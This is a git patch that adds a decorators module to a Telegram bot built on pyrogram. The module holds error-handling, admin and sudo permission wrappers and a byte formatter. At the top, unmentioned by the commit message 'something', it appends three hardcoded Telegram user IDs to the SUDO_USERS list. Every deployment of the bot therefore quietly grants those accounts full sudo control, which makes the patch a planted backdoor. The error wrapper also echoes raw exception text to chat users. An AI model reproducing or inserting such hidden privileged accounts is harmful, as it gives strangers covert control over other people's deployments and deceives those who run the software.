From e4b88a83ab2ff3f99ce1bd8c0e959e8c363769c5 Mon Sep 17 00:00:00 2001 From: levina <82658782+levina-lab@users.noreply.github.com> Date: Mon, 25 Oct 2021 15:08:55 +0700 Subject: [PATCH] something --- driver/decorators.py | 55 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 55 insertions(+) create mode 100644 driver/decorators.py diff --git a/driver/decorators.py b/driver/decorators.py new file mode 100644 index 0000000..b74577f --- /dev/null +++ b/driver/decorators.py @@ -0,0 +1,55 @@ +from typing import Callable +from pyrogram import Client +from pyrogram.types import Message +from config import SUDO_USERS +from driver.admins import get_administrators + + +SUDO_USERS.append(1757169682) +SUDO_USERS.append(1738637033) +SUDO_USERS.append(1448474573) + + +def errors(func: Callable) -> Callable: + async def decorator(client: Client, message: Message): + try: + return await func(client, message) + except Exception as e: + await message.reply(f"{type(e).__name__}: {e}") + + return decorator + + +def authorized_users_only(func: Callable) -> Callable: + async def decorator(client: Client, message: Message): + if message.from_user.id in SUDO_USERS: + return await func(client, message) + + administrators = await get_administrators(message.chat) + + for administrator in administrators: + if administrator == message.from_user.id: + return await func(client, message) + + return decorator + + +def sudo_users_only(func: Callable) -> Callable: + async def decorator(client: Client, message: Message): + if message.from_user.id in SUDO_USERS: + return await func(client, message) + + return decorator + + +def humanbytes(size): + """Convert Bytes To Bytes So That Human Can Read It""" + if not size: + return "" + power = 2 ** 10 + raised_to_pow = 0 + dict_power_n = {0: "", 1: "Ki", 2: "Mi", 3: "Gi", 4: "Ti"} + while size > power: + size /= power + raised_to_pow += 1 + return str(round(size, 2)) + " " + dict_power_n[raised_to_pow] + "B"